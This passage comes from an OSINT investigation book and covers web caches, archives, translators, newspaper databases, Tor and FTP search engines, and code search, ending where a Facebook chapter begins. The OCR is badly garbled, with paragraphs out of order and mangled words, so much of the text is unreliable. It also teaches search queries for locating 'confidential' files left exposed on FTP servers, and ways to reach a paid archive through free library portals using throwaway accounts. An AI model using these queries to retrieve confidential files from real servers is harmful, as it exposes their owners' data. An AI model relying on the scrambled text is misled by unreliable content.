permanently removed. Web archives, or "caches" can remedy this. I believe that these historical copies of websites are one of the most vital resources when conducting any type of online research. This section will explain the current options in order from most effective to least Similar to Google, Bing offers a cached view of many websites. Searching for a domain name, such as phonelosers.org, will present many results. The first result should link to the actual website. Directly next to the website name is a small green down arrow. Clicking it will present the option of "Cached page". Clicking this link will display a previous version of the target website as collected by Bing. Figure 9.07 (second image) displays their menu option. The Russian search engine Yandex wall be explained in great detail later, but it is important to note now that it also possesses a cache option. Very similar to Google and Bing, Yandex presents a green drop-down menu directly under the title of the search result Figure 9.07 (third image) displays their cache menu option. Selecting the Cached page option opens a new tab displaying the most recent Yandex archive of the page. The top banner displays the date and time of capture, the original website address, and a search option to highlight selected keywords within the result The biggest strength of the Yandex cache is the lack of updates. While this may sound counterintuitive, an older cache can be very helpful in an investigation. Assume that the Phone Losers website was your target At the time of this demonstration, September 7, 2019, the Google, Bing, and Yandex caches of this page were dated as follows. If you have a specific page within a website that you want to view as a cached version, type the exact website into Google to link to the cached page. For example, if I wanted to see a previous view of the podcast for The Phone Show, an audio archive about telephone pranks, I would conduct a Google search for the site "www.phonelosers.org/snowplowshow". This will return the main landing page as well as sub-pages that will each have a cached view. If any of these pages were to go offline completely, Google would hold the last obtained version for viewing. I could have also typed the following directly into any Google search page to be navigated directly to the cached page. Baidu Cache (baidu.com) The Wayback Machine (archive.org/web/web.php) Wayback Search https://web.archive.org/web/*/Michael Bazzell Searching All Resources Until 2016, you could not search keywords across Wayback Machine data. You had to know the exact URL of a target website, or at least the domain name. Today, we can search any terms desired and connect directly to archived data. At the time of this writing, a search bar was present at the top of every Wayback Machine page. If that should change, you can also conduct a search via a direct URL. The following address searched "Michael Bazzell" throughout die entire archive of information. Occasionally, there are websites that surface claiming to be able to extract and rebuild entire websites from online caches. In my experience, none of these have ever provided a complete historical view versus a manual approach. Engines such as Bing and Yandex generate a unique code when a cache is displayed. This action prevents most automated search tools from collecting archived information. 1 do not believe any option, other than navigating to each resource, will present you with the content that you need. 1 bookmark each of diese services in an individual folder tided Archives and open each tab when I have a domain as a target. I have also created an online tool that will collect your target domain and forward you to the appropriate archive page. This will be explained later when discussing domain searches. This Chinese search engine is the least productive as far as cached copies of websites are concerned, but it should not be ignored. It will be explained further during a later discussion about international engines. The results of a search on Baidu are mosdy in Chinese, but can still be valuable to those that cannot read the text. At the bottom of each search result is a green link to the website that hosts the content of the result. While this also includes a drop-down menu, the cache option is not there. Instead, look for a word in Chinese direcdy to the right of this link. In Figure 9.07 (fourth image) it is displayed as Clicking this link will open a new tab with the cache result, which Baidu refers to as a snapshot. In my experience, the presence of this linked option does not always mean that a cached version exists. The Wayback Machine will provide a much more extensive list of options for viewing a website historically. Searching for phonelosers.org displayed a total of 1,280 captures of the site dating from 12/21/1997 through 6/10/2019 (Figure 9.08). Clicking the links presents quite a display of how the site has changed. Graphics are archived as well, proving that we should always think twice about which photos we post to the internet Each view of the archived page will allow the user to click through the links as if it were a live page on the original web server. Clicking through the timeline at the top of each page will load the viewed page as it appeared on the date selected. The results identify over twenty websites that include these terms. Within those sites are dozens of archived copies of each. This data represents decades of content at your fingertips. Much of it is offline and unavailable on the current public internet. Many domains have completely shut down. Furthermore, websites that I own appear within the results, even though I have specifically blocked archiving them through a configuration file on my server. You would not find these by searching the domains direcdy through the Wayback Machine. This is a reminder that we should check all available resources before completing our investigations. Google and Bing tend to have very recent results which often appear identical to the live view. However, the Yandex option from a week prior is more likely to contain modified content. You can often locate a cached version of a page that is older than the Yandex version on Baidu. Search Engines 155 telosers) | Tbw t t g p Figure 9.07: Cache menu options on Google, Bing, Yandex, and Baidu. archived website. Non-English Results 2Lingual (21ingual.com) 156 Chapter 9 ercnce Calling Join the other countless businesses that arc ig up their phono lines! Google. The Google search will next to each t be disabled, 2011 2012 2013 2014 2015 2016 2017 2016 Figure 9.08: Wayback Machine results for an Phone Losers of America - The happiest place in Roy, New ... Phone Losers of AmencaHorr.e Podcast Prank Calls Forums PLA's Forums Facebook Discussion Group PLA on ReddtStoreOthe... www.phonolosers.org; - 41 Phone Losers of America - The happiest place in Roy, New... phonelosers.org » Cel Phi saving t Cached page More from this silo Phon Complain twitter.c This page will allow you to conduct one search across two country sites on display a plain search box and choices of two countries. The results will display in single columns i other. Additionally, the foreign results will be automatically translated to English, This feature can if desired. The first few sponsored results (ads) will be similar, but the official results following should differ. Hk kdiuli IMS 1W3 2000 2X1 Saved 1,280 times between December 21. 1S97 and June 10.2019. iliiiatkimiL 2002 2033 200* 2CO5 2C« 2207 2X3 2039 2010 Finally, it is important to acknowledge that these resources can be beneficial when everything on a website appears to be present and unaltered. While caches work well on websites that have been removed and are completely empty, they also can tell a different story about websites that appear normal. Any time that I find a website, profile, or blog of interest, I immediately look at caches hoping to identify changes in content. These minor alterations can be ven' important. They highlight information that was meant to be deleted forever. These details can be the vital piece of your investigation puzzle. Most people have no idea that this technique exists. Not ever}’ piece of information that will be useful to you will be obtained by standard searches within English websites. Your target may either be from another country or have associates and affiliations in another country. While Google and Bing try to pick up on this, the technolog}’ is not perfect. Google has a search site and algorithm that change by location. For example, google.fr presents the French search page for Google. While this may produce the same overall results, they are usually in a different order than on google.com. Google no longer maintains a page with links to each international version of its search, but I have a preferred method. Phone Losers of America - The happiest place in Roy, New ... www.phonelosers.org/” Kody A. sponsors today's Cached ittempt to re-create the latest Airbnb debacle in tne form of wacky prank p nate to the PCN Pranksgiving ... Similar Phone Losers of America - Official Site www.phonelosers.org ’ Free Conference Callin iountless businesses that are saving time and money by freeing up th| ac 8 fcell Phone ... Phone Losers of America ... Prank Calls Elite Cactus Squad Google Translator (translate.google.com) Bing Translator (bing.com/translator) DeepL (decpl.com/translator) PROMT Online Translator (online-translator.com) Google Input Tools (google.com/inputtools/try) This site can also be helpful when demonstrating to someone the importance of searching targets through multiple countries. I am often asked during training which of the sendees I use during investigations. My answer is all of them. This is important for two reasons. The obvious benefit is that you will receive four unique translations that will be very similar. The minor variations may be important, especially when translating Tweets and other shortened messages that may not be grammatically correct in any language. The second reason is to show due diligence during my investigation. 1 always want to go above and beyond what is required. Translating a foreign web page through four different services emphasizes my desire to conduct an unbiased investigation. There are dozens of additional online translation tools available. Almost all of them allow translation of a small amount of text at a time. Some use either the Google or Bing translation service. One last online translation tool worth mentioning is PROMT Online Translator. It is unique from the dozens of other options in that it allows translation of entire websites similar to Google and Bing. This service provides an independent translation and can be considered a third source. There is one last feature regarding foreign language searching that 1 have found useful. Google's Input Tools allow you to type in any language you choose. Upon navigating to the above website, choose the language of your target search. In Figure 9.09,1 have chosen Arabic as the language and typed "Online Investigation" on a standard English keyboard. The result is how that text might appear in traditional Arabic letters. I have had die most success with this technique on Twitter. When supplying any search term on Twitter, the results are filtered by the presence of the keywords entered and only in the language provided. Searching "Online Investigation" on Twitter only provides results that have that exact spelling in English characters. However, searching the Arabic output provides Tweets that include the Arabic spelling of the selected words. This technique is extremely While smaller than Google or Bing, this may be the most accurate translator service I have found. The pag appears and functions identical to the previous options, but the results may be substantially different A few years after Google introduced free translation services, Bing created their own product. At first glance, it looks like a replica of Google's offering. However, Bing's translations are usually slightly different than Google's results. Similar to Google, you can also type or paste an entire foreign website to conduct a translation o^ everything on the target page. Many websites exist in non-English languages. As internet enthusiasts, we tend to focus on sites within our home area. There is a wealth of information out there on sites hosted in other countries which are presented in oilier languages. Google Translator will take text from any site or document and translate the text to a variety of languages. Usually, the service will automatically identify the language of the copied and pasted text Selecting the desired output will provide the translation. Alternatively, you can translate an entire website in one click which will give a native view of the layout of the site. Instead of copying individual text to the search box, type or paste in the exact URL (address) of the website you want translated. Clicking the "Translate" button will load a new page of the site, which will be translated to English. This translation is rarely, if ever, perfect. However, it should give you an idea of the content presented on the page. This will also work on social network sites such as Twitter and Instagram. Search Engines 157 Arabic- £ Figure 9.09: A Google Input Tools translation from English to Arabic. Google News Archive (news.google.com) Google Newspaper Archive (news.google.com/newspapers) Newspaper Archive (ncwspaperarchive.com) free account" 158 Chapter 9 sitemewspaperarchivc.com "This archive is hosted by" "create important when you have located a username in a foreign language. As with all computer-generated translation sendees, the results are never absolutely accurate. 1 expect this technology’ to continue to improve. This paid service provides the world's largest collection of newspaper archives. The high-resolution PDF scans of entire daily newspapers range in date from die 1800's until present. The first four editions of this book explained a method of using the Google Site operator and cached results to obtain practically any page of this newspaper collection without paying or subscribing. These vulnerabilities have all been patched and none of those techniques work today. Fortunately, Newspaper Archive still offers a 14-day free trial with unlimited access to every’ archive. While multiple trials can be obtained, each require a unique credit card number and email address. Many libraries have asked this sendee to scan their entire microfilm archives and make them freely available online. You will not find any mention of this free alternative on their home page, but a bit of searching will guide you to the right place. The following search on Google identifies hundreds of public libraries that pay for your access to their archives. On 12/13/2017,1 navigated to ncw’spaperarchive.com/advancedsearch/ and conducted an advanced search for anyone named Michael Williams from Cedar Rapids, Iowa. Newspaper Archive presented several results from the Cedar Rapids Gazette. Clicking on any of these results prompted me to create an account and forced me to This can be an amazing resource of information about a target. In the past, if someone relocated to a new geographical area, he or she could leave the past behind and start over. Today, that is difficult. Google's News Archive is continually adding content from both online archives and digitized content from their News Archive Partner Program. Sources include newspapers from large cities, small towns, and anything in between. The link referenced above will allow for a detailed search of a target's name with filters including dates, language, and specific publication. In order to display this menu, click on the down arrow to the right of the search box. This can quickly identify’ some history of a target such as previous living locations, family members through obituaries, and associates through events, awards, or organizations. The first part of the search tells Google to only look at the website newspaperarchive.com. The second part mandates that the exact phrase "This archive is hosted by" appears in the result. The final piece isolates only the newspaper collections that are available for free and without a credit card. This identifies the landing pages of the various libraries that have made their collections freely available. While you will still be required to register through the service, payment is not required for these collections. Consider the following usage that will likely present you with free views of Newspaper Archive whenever you need them. The previous option focused solely on digital content, such as your local newspaper website. Google's Newspaper archive possesses content from printed newspapers. A.11 results on this site consist of high-resolution scanned newspaper pages. In my experience, this collection is not as extensive as the next option discussed. However, it is definitely worth a look, and will likely continue to grow. sitc.newspaperarchive.com "This archive is hosted by" "cedar rapids gazette" Google Advanced Search (google.com/advanced_search) Old Fulton (fultonhistory.com/Fulton.htmI): 34,000,000 scanned newspapers from the United States and Canada. Library of Congress US News Directory (chroniclingamerica.loc.gov): Scanned newspapers from the United States dated 1836-1922. Library of Congress US News Directory (chroniclingamerica.loc.gov/search/titles): Scanned newspapers from the United States dated 1690-Present. enter a valid credit card number to proceed. I could not create an account from any of the pages without providing payment. Instead, I conducted the following Google search. The first result was a direct connection to crpubliclibrary.newspaperarchivc.com. Clicking this link presented a page dedicated to searching over 40 newspapers within the Cedar Rapids and Des Moines areas. In the upper right corner was a link tided "Create Free Account". I clicked this link and provided generic details and a throwaway email address. The membership choices now include a completely free option, which will only allow access to the Iowa newspapers. After creating my free online account, I returned to the portal at crpubliclibraty.newspaperarchive.com and repeated the search of my target. Every link allowed me full unrestricted access to the high-resolution images. If the search operators discussed in this chapter seem too technical, Google offers an advanced search page that simplifies the process. Navigating to the above website will present the same options in a web page that are possible by typing out the operators. This will help you get familiar with the options, but it will be beneficial to understand the operators for later use. The Advanced Search page will allow you to specify a phrase for which you are searching, just like the quotes in a search will allow. The site and filetype operators used earlier can be achieved by entering the desired filters on this page. It should be noted that the file type option on this page is limited to popular file types, where the filetype operator can handle many other file extensions. Small Town Newspapers (stparchive.com): Scanned and text versions of small town newspapers since 1890 Note that the search features on all of these options are mediochre at best. Always consider a Google search, such as siteistparchive "michael bazzell". While still logged in to this account, I navigated to delawarecolib.newspaperarchive.com, the direct page associated with the Delaware County Library (which I found through the original Google search in this section). I was not authorized to view this newspaper collection. However, after clicking "Create Free Account" on this page, 1 entered the same data as previously provided to the Iowa newspaper. After verifying my email address, 1 was allowed immediate access to this series of newspapers. This technique will not obtain access to every collection on Newspaper Archive. However, it will provide a surprising amount of free access to huge collections internationally. During an hour of downtime, I created a free account on every library collection I could locate, using the same credentials on each. I can now log in to my single Newspaper Archive account and navigate the site from any page. When I reach a newspaper of interest after a search, I will be given full access if it is within a free collection. This is all thanks to the local libraries that have paid this site to give free access to the public. If the free trial of Newspaper Archive or the free library collections do not offer enough content, consider the following options. Search Engines 159 Bing Advanced Search (search.yahoo.com/web/advanced) Additional Google Engines 160 Chapter 9 Google isolates some search results into specialized smaller search engines. Each of these focuses on a unique type of internet search. The following engines will likely give you results that you will not find during a standard Google or Bing search. While some results from these unique searches will appear within standard Google results, the majority will be hidden from the main page. Google Blogs (google.com) Keyword Tool displays autocomplete data from Google, Bing, YouTube, and the App Store. You have likely noticed that Google quickly offers suggestions as you type in your search. This is called autocomplete. If I were to type "macb" into Google, it would prompt me to choose from the most popular searches when people typed those letters. This information may lead you to new terms to search in reference to your investigation. The advantage of Keyword Tool over Google is that Google only provides the five most popular entries. Keyword Tool provides the ten most popular entries. Additionally, you can choose different countries to isolate popular terms. You can also see results from similar searches that Google does not display. Bing does not technically provide an advanced search page similar to Google's. However, since Yahoo uses Bing's search, you can use Yahoo's advanced search page as a replacement This page will allow you to easily create a search that filters by individual terms, exact phrases, omitted terms, specific domains, file formats, and languages. tb0'C d’sPlaVs a standard Google search option, but the results appear much differently. A standard • ° SCarC| ° ”ame revea^s mY website, Twitter, and Amazon pages in the first results. The Google Blogs EZCTga*- «bi- -—->■ name. These results are likely Google Patents (google.com/?tbm=pts) □ ,^e Pro^a^b has the best patent search option on the internet. It allows you to search the entire patent deMikSC an- °f a Patent. This can be useful for searching names associated with patents or any „ * I r"11 C Pjtent *tse^- y°u need further help, Google offers an advanced patent search at google.com/advanced_patent_search. Google Scholar (scholar.google.com) a frCe^r access’hle web search engine that indexes the full text of scholarly literature across an schnl °i PU I r Ormats' h Eludes most peer-reviewed online journals of Europe's and America's largest is rhe^r IS ^S’ ^US man^ books and other non-peer reviewed journals. My favorite feature of this utility' case Jaw and court records search. I have located many court records through this free website that would have cost money to obtain from private services. Keyword Tool (keywordtooLio) Google removed its original blog search in 2014. It was quite helpful and focused mostly on personal websites, especially those with a blogging platform. Today, this is nothing more than a subsection of Google News. ou can load the "Blogs" option under the " News" menu within the "Tools" option on any Google News results page. Alternatively, you can navigate to the following address, replacing TEST with your search terms. google.com/search?q=TEST&tbm=nws&tbs=nrt:b The YouTube tab tells Finally, I see that Bing users seem to be a bit Other Alternatives Searx (searx.be) 161 Search Engines osint meaning osint websites osint techniques osint training osint tools osint investigations osint phone number osint analysis more focused with the following queries. me that people are searching for videos related to the following terms. osint resources osint api osint mind map osint michael bazzell Real World Application: 1 have successfully used this technique during the investigation of many businesses. I was once asked by a medium-sized business to investigate reports of a faulty product that they had recently recalled. They wanted to see customer complaints. After searching the typical review websites, I conducted a search with Keyword Tool. 1 discovered that the 9th most popular search involving this specific product name included a term that was a misspelling of the product name. It was different enough in spelling that my searches were missing this content. Knowing this information, I was able to locate more relevant data for the client iced for specialized search engines, the lack of search power in other minority' when it comes to search traffic. It is more popular engines. This is considered a meta-crawler, as it presents results from Google, Bing, and others. It often gets dismissed as another comparison search site, but there are many other advantages to using this service. First, conducting a search will provide results from the main search engines, but will remove duplicate entries. This alone is a quick way to conduct your due-diligence by checking Google and Bing. Next, the top row of options will allow you to repeat this redundancy-reducing option by checking results on Images, News, and Videos sections. Next to each result on any search page is a "cached” link. Instead of opening the Google or Bing cache, clicking this will open the cached page of the target website through the Wayback Machine. Finally, a "proxied" option next to each result will connect you to the target website through a proxy sendee provided by Searx. This is basically a layer of privacy preventing the website owner from collecting data about you, such as your IP address. Technically, Searx.me opened the target site, and their data would be tracked instead of yours. There are ways for adversaries to bypass this "anonymity", but it is decent protection for most sites. Google and Bing are great, but they do not do it all. There will always be a nc These engines usually excel in one particular search method which justifies areas. The sites listed in this next section represent the extreme i“:----:ty - often sites like these that implement the technologies that we later take for granted in This can also be very valuable for marketing and promotion. Assume I want to know what additional terms people search when they start with the word osint. Maybe I want to buy Google ads or tweak my website to be noticed more often. With this tool, I now know that the following arc the most popular osint-related searches on Google. Exalead (exalead.com/search) Start Page (startpage.com) 162 Chapter 9 Qwant attempts to combine the results of several types of search engines into one page. It was launched in 2013 after two years of research. It has an easily digestible interface that displays results in columns tided Web, News, Images, Videos, Maps, and Music. There is a Google "feel" to it and the layout can be changed to your own preferences. A default search of my own name provided the expected results similar to Google and Bing. Clicking on the tabs at the top introduced new results not found on the other engines. The results included recent posts from Twitter, Facebook, Unkedln, and Myspace from and about people with my name. This search engine with a clean interface offers two unique services. It has gained a lot of popularity because it does not track anything from users. Engines, such as Google, record and maintain all of your search history and sites visited. This can be a concern to privacy advocates and those with sensitive investigations. Additionally, it uses information from crowd-sourced websites such as Wikipedia and Wolfram Alpha to augment traditional results and improve relevance. You will receive fewer results here than at more popular search engines, but the accuracy of the results will improve. Headquartered in Paris, this search engine has gained a lot of popularity in the United States. The main search engine provides many results on popular searches. I have found that individual targets without a strong internet presence do not get many, if any, results on this site. However, this site excels in two areas. It works well in finding documents that include the target mentioned within the document. The "filetype" operator used in other engines works the same here. Voxalead, an Exalead search engine, searches within audio and video files for specific words. This is thanks to speech to text technologies. Voxalead will search within all of the spoken audio of a file for references to the text searched. The results are presented in a timeline view. Currently, the majority of the results of this new product link to news media and public news video files. DuckDuckGo (duckduckgo.com) This protects » ' ° t^rou§^ Start Page's servers and displays the content within their site, is not- fnnInrr,lfU;r 3 • >reSS fr°.m a0)’006 monitoring connections at the target website. While this technique a sensitive c m k 2 V ^er °^Protec°on. My search strategy involves Start Page whenever I have Qwant (qwant.com) The final benefit of this service over all others is the easy ability to export search results as a file. The "Links" section to the right of all search pages displays options to download a csv, json, or rss file of the results. The csv option is a simple spreadsheet that possesses all of the search results with descriptions and direct links. I find this helpful when I have many searches to conduct in a short amount of time, and I do not have the ability to analyze the results until later. Million Short (millionshort.com) Tor Search Engines Ahmia (ahmia.fi) Dark Search (darksearch.io) Onionland Search (onionlandsearchengine.com) Tor2Web (www.tor2web.org / onion.ly) Tor Search Sites hss3uro2hsxfogfq.onion 163 Search Engines This website offers a unique function that is not found on any other search engine. You can choose to remove results that link to the most popular one million websites. This will eliminate popular results and focus on lesser- known websites. You can also select to remove the top 100,000,10,000,1,000, or 100 results. Tor is free software for enabling anonymous communication. The name is an acronym derived from the original software project name The Onion Router. Tor directs internet traffic through a free, worldwide, volunteer network consisting of more than six thousand relays to conceal a user's location and usage from anyone conducting network surveillance or traffic analysis. Using Tor makes it more difficult for internet activity to be traced back to the user. This also applies to a website that is hosted on the Tor network. Usually, these sites include illegal drug shops, child pornography swaps, and weapon sales. Because these sites are not hosted on publicly viewable networks, they are hard to locate and connect. Tor-based search engines and a proxy aid this process. Whenever you see a URL like libertygb2nyey ay .onion, it is a Tor Onion website. As mentioned earlier, you cannot connect directly to these links without being connected to the Tor network. However, you can replace ".onion" within the address to ".onion.ly" in order to view the content. In the above example, navigating to the website libertygb2nyeyay.onion.ly will display the content using the Tor2Web proxies. This connects you with Tor2web, which then talks to the onion service via Tor, and relays the response back. This is helpful when locating Tor links on Twitter. This engine appeared in 2019 and appears quite promising. When I conducted a search of "OSINT" within /\hmia, 1 received 5 results. The same query' on Dark Search revealed 51 results. It appears to index Tor sites well, and I received many' results when querying email addresses of targets. This has replaced Ahmia for many of my Tor-based investigations. I believe some of the strongest Tor search engines exist only on the Tor network. You cannot access them from a standard internet connection, and the Tor Browser is required for native use. My favorite is "Not Evil", which can be found at the following address if connected to Tor. This is a very' powerful Tor search engine. While no engine can index and locate every' Tor website, this is the most thorough option that 1 have seen. It should be the first engine used when searching Tor related sites. The links in the results will not load if searching through a standard browser and connection. Using the Tor Browser discussed previously' is the ideal way to use this service. This service relies on Google's indexing of Tor sites which possess URL proxy links. However, I find some "hidden" sites with this utility' which were not presented by the previous options. hss3uro2hsxfogfq.onion.ly hss3uro2hsxfogfq.onion.ly/index.php?q=OSINT 164 Chapter 9 Since Tor2\Veb allows us to use their proxy, we can connect to "Not Evil" by navigating directly to the following Tor2\Veb proxy address, without being on the Tor Browser. This presents the home page of the search site, and allows for a keyword search. However, searching through this portal while being connected through the Tor2Web proxy can present difficulties. Instead, consider conducting a search within a URL submission. In the following web address, I am connecting to Tor2\Veb's proxy of the search engine and requesting a search results page for the term OSINT. I believe I could fill several chapters with tutorials for the hundreds of search engines available today. Instead, I point you toward two of the best collections 1 have found. Search Engine Colossus (searchenginecolossus.com) This website is an index of practically every search engine in every country. The main page offers a list of countries alphabetically. Each of these links connects to a list of active search engines in that country. I stay away from this service when searching American-based subjects. However, if my target has strong ties to a specific country, I always research the engines that are used in that area through this website. Fagan Finder (faganfinder.com) This website offers an interactive search page which populates your query into hundreds of options. Enter your = °f h?ndrcds of - begin a search. Many of the search sendees argete tow ar me e uses, but you may find something valuable there which you do not see on the custom offhne search tool provided at the end of this chapter. FTP Search I believe that the searching of File Transfer Protocol (FTP) servers is one of the biggest areas of the internet that is missed by most online researchers. FTP servers are computers with a public IP address used to store files. While these can be secured with mandated access credentials, this is rarely the case. Most are public and can be accessed from within a web browser. The overall use of FTP to transfer files is minimal compared to a decade ago, but the senders still exist in abundance. I prefer the manual method of searching Google for FTP information. As mentioned earlier, Google and Bing index most publicly available data on FTP servers. A This type of submission wall be much more reliable than counting on the proxy to conduct your search and return an additional proxy-delivered page. An alternative to Not Evil is Haystack, which can be accessed at http://haystak5njsmn2hqkewecpaxetahtwhsbsa64jom2k22z5afxhnpxfid.onion. Similar to the previous query, we can search this Tor sendee without the Tor browser with the following standard URL. http:// haystak5njsmn2hqkewecpaxetahtwhsbsa64jom2k22z5afxhnpxfid.onion.ly/?q=osint I have also had limited success with Tor66 at the following URL. http://tor66sewebgixw'hcqfhp5inzp5x5uohhdy3kvtnyfxc2e5mxiuh34iid.onion All of the options presented within these pages are available for automatic queries within your custom search tool, as presented in a moment. Please note that these sites appear, disappear, and reappear often. Search Engine Collections inurkftp -inurl (http | https) "confidential" inurl:ftp -inurl (http | https) "cisco" filetype:pdf ftp://ftp.swcp.com/pub/cisco/03chap01 .pdf Napalm FTP (searchftps.org) "Cisco" "PDF": 3,384 Mamoht (mmnt.ru) "Cisco" "PDF": 789 165 Search Engines ftp://ftp.swcp.com/pub/cisco/ ftp:// ftp.swcp.com/pub/ looking for any files Google and Bing. Manually changing the last "01" to "02" loads the second chapter of the book. However, it is easier to eliminate the document name altogether and browse the directory titled "cisco". The first of the following addresses displays the contents of that folder, while the second displays the content of the "pub" folder. Copy these directly into a web browser to see the results. This type of manual navigation will often reveal numerous publicly available documents that traditional searches withhold. I have located extremely sensitive files hosted by companies, government agencies, and the military. Most File Transfer Protocol (FTP) servers have been indexed by Google, but there are other third-party options that are worth exploring. At the end of each description, I identify the number of results included for the search "Cisco" "PDF". This FTP search engine often provides content that is very recent. After each result, it displays the date that the data was last confirmed at the disclosed location. This can help locate relevant information that is still present on a server. While it generated the most results of all four services, many of them were no longer available on the target FTP servers. Some could be reconstructed with cached copies, but not all. The result will include only files from ftp servers (inurkftp); will exclude any web pages (-inurl: (http | https); and mandate that the term "confidential" is present (""). I have located many sensitive documents from target companies with this query. The above search yielded 107,000 FTP results. However, these specific hits are not the only valuable data to pursue. Consider the following example. I want to locate PDF documents stored on FTP servers that contain "cisco" within the tide or content, and I conduct the following search on Google. custom search string will be required in order to filter unwanted information. If I were including the term "confidential" in the tide, I would conduct the following search on This results in 20,000 options within multiple FTP servers hosted on numerous domains. The first result is hosted on the Southwest Cyberport FTP server and connects to a PDF document at the following address. It appears to be a chapter of a textbook. This Russian FTP server allows you to isolate search results by the country that is hosting the content. This is likely determined by IP address. While most of the filtered results will be accurate, 1 recommend searching through the global results before dismissing any foreign options. My favorite feature of this engine is the "Search within results" option. After conducting my search, I checked this option and my search field was cleared. I entered "router" and clicked search again. I was prompted with die 436 results widiin my original hits that also included the word router. While this could have been replicated manually, I appreciate the option. For comparison, Google found 19,600 results for inurkftp -inurl:(http | https) "Cisco" "PDF". wenjian (s. wenjian.net) Nerdy Data (nerdydata.com/reports/new) 166 Chapter 9 <script type="text/javascript"> tty {var pageTracker = _gat._getTracker("UA-8231004-3"); pageTracker.-trackPageviewQ; } catch(err) {}</script> In later chapters, you will learn about free services that try to identify additional websites that may be associated with your target website. The backbone of these services relies on the indexing of programming data of websites. Nerdy Data may be the purest way of searching for this data. If you were to look at the source code of one of my previous websites (no longer online), you would have seen at the bottom that 1 used a service called Google Analytics. This senice identifies die number of visitors to a website and the general area where they are located. The following is the actual code that was present. Google, Bing, and other search engines search the content of websites. They focus on the data that is visually present within a web page. Nerdy Data searches the programming code of a website. This code is often not visible to the end user and exists within the HTML codeJavaScript, and CSS files with which most users are not familiar. This code can be extremely valuable to research in some scenarios. Viewing the source code of a website can be done by right-clicking on the background of a page and selecting "View Source". The following two examples should explain a small portion of the possibilities with this service. Many web designers and programmers steal code from other websites. In the past, this would be very difficult to identify without already knowing the suspect website. With Nerdy Data, you can perform a search of the code of concern and identify websites that possess the data within their own source code. In 2013,1 located a custom search website at the \ GN Ethical Hacker Group that inspired me to create my own similar search service. I wras curious if there were any other search websites that possessed this basic code that might give me more ideas. I looked at the source code of the website and located a small piece of code that appeared fairly unique to that service. I conducted a search on Nerdy Data for the following code. <li>http://yehg.net/q?[keyword]&c=[category] (q?yehg.net&c=Recon)</li> This code was within the JavaScript programming of the search website. The search results identified 13 w'ebsites that also possessed the same code. Two of these results were hosted on the creator’s website, and offered no additional information. Three of the results linked to pages that were no longer available. Three of the results linked to pages that were only discussing the code within the target website and how to improve the functionality. However, four of the results identified similar search services that were also using the programming code searched. This revealed new search services that were related to the website in which I was interested. This Chinese service is less robust than the previous options, but it should not be ignored. In 2020, I was searching for documents in reference to an international fraud investigation. This was the only service which presented contracts signed by my target. The important data here is the "UA-8231004-3". That was my unique number for Google Analytics. Any website with which I used the service would have needed to have that number within the source code of the page. If you searched that number on Nerdy Data a few years prior, you would have received interesting results. Nerdy Data previously' identified three websites that were using that number, including computercrimeinfo.com and two additional sites that I maintained for a law firm. You can often find valuable information within the source code of your target’s website. IntclTcchniqucs Search Engines Tool [ Populate All j I Search Terms Twitter Instagram Linkcdln Communities Email Addresses Usemamcs Names Telephone Numbers Maps Documents Pastes Images Videos Domains ft IP Addresses Submit Al] j ][ Business & Government Figure 9.10; The IntclTcchniqucs Search Engines Tool. Search Engines 167 I ft Ahrnia DarkSearch Onionland Not Evil 1 Haystack ' JCft ft [Search Terms Tor Sites [ Search Terms | Search Terms [Search Terms | Search Terms [Search Terms [jSearch Terms________ I Search Terms________ ' Search Terms________ Search Terms | Search Terms________ [Search Terms________ [ Search Terms________ 'Search Terms________ | Search Terms________ [Search Terms________ [Search Terms________ [ Search Terms________ [Search Terms________ [Search Terms 'Search Terms Search Terms I Search Terms________ [Search Terms________ [Search Terms________ This same technique could be used to identify websites that arc stealing proprietary’ code; locate pages that were created to attempt to fool a victim into using a cloned site; or validate the popularity’ of a specific programming function being used on hacking websites globally. At this point, y’ou may’ be overwhelmed with the abundance of search options. I can relate to that, and I do not take advantage of every’ option during every’ investigation. During my initial search of a target, I like to rely on the basics. 1 first search Google, Bing, Yandex, and the smaller search engines. In order to assist with this initial search, I created a custom tool that will allow you to quickly get to the basics. Figure 9.10 displays the current state of this option, which is included in the search tools archive mentioned previously. [_____ Google_____ j Google Date | '' Google News Google Blogs ’ Google FTP Google Index Google Scholar ; Google Patents i Bing Bing News Yahoo Yandex Baidu Searx Exalead DuckDuckGo StartPage Qwant Wayback ] IntclTcchniqucs Took Face book The search options will allow y’ou to individually’ search directly through Google, Bing, Yahoo, Searx, Yandex, Baidu, Exalead, DuckDuckGo, Start Page, Google Newsgroups, Google Blogs, FTP Servers, data folders, Google Scholar, Google Patents, Google News, Google Newspapers, The Wayback Machine, and others. Across all options, each search that you conduct will open within a new tab within your browser. The search all takes place on your computer within your browser, direcdy’ to die sources. The "Submit All" option will allow y’ou to provide any’ search term that will be searched across all of the services listed. Each sendee will populate the results within a new tab in your internet browser. Regardless of the browser that you use, you must allow pop-ups in order for the tool to work. You can also use any of the search operators discussed previously within this tool, including quotation marks. I present a similar search tool at the end of most chapters which summarizes and simplifies the query’ processes for the techniques explained. I encourage you to become familiar with each of these. Once proficient, you can query’ target data across all options within a few minutes. This saves me several hours every week. 168 Chapter 10 August 3rd, 2019, 12:38 pm ET: Facebook began blocking my new web server. Official Facebook Options 2022: Over the past year, many search methods have disappeared, reappeared, and disappeared again. You have been warned that some of the techniques here may no longer work by the time you read this. Ch a pt e r Te n So c ia l Ne t w o r k s : Fa c e b o o k June 17lh, 2019: Various researchers developed online search tools and browser extensions which brought back most of the Facebook Graph functionality. Hundreds of OSINT researchers flocked to these and we restored our missing techniques. August 1st, 2019: On this date, all browser-based extensions which leveraged the Facebook Graph stopped working. Facebook implemented new encryption which terminated all functionality. September 8,h, 2019: On this date, we saw methods such as using the Facebook Messenger application to seard telephone numbers disappear, as well as most email search options. This appeared deliberate, and more evidence of Facebook’s desire to lock down the platform. August 2nd, 2019: The Facebook username to user ID conversion tool on my website stopped working. It appeared that my web server was being blocked by Facebook. I switched the user ID conversion tool to a new web server, and all appeared to be working again. I hesitate writing anything within this chapter. It seems that most valuable Facebook search techniques disappeared in 2019. There are still many methods we can apply, but the future outlook for targeted queries is dim. I worry this chapter will become outdated before anything else, but there are some stable searches which should have longevity. Before we dive in, let's take a look at the recent Facebook search timeline. 2020: Facebook drastically changed their layout, removed the wildcard (*) search operator, blocked some of the "base64" methods (explained in a moment), and continued to aggressively monitor the OSINT community's response to their actions. Facebook's redesign in 2020 presented many new search options which can benefit online investigators. Once logged in, a simple search field will be present at the top of any Facebook page. This is a generic starting point. 1 encourage you to think of Facebook's current search landscape in two parts. The KEYWORD search is any generic term, name, location, or entity of interest. The FILTER search is the options which eliminate unwanted results. Let's start with a demonstration where we are looking for a profile of a person. Fortunately, many people still share intimate details of their 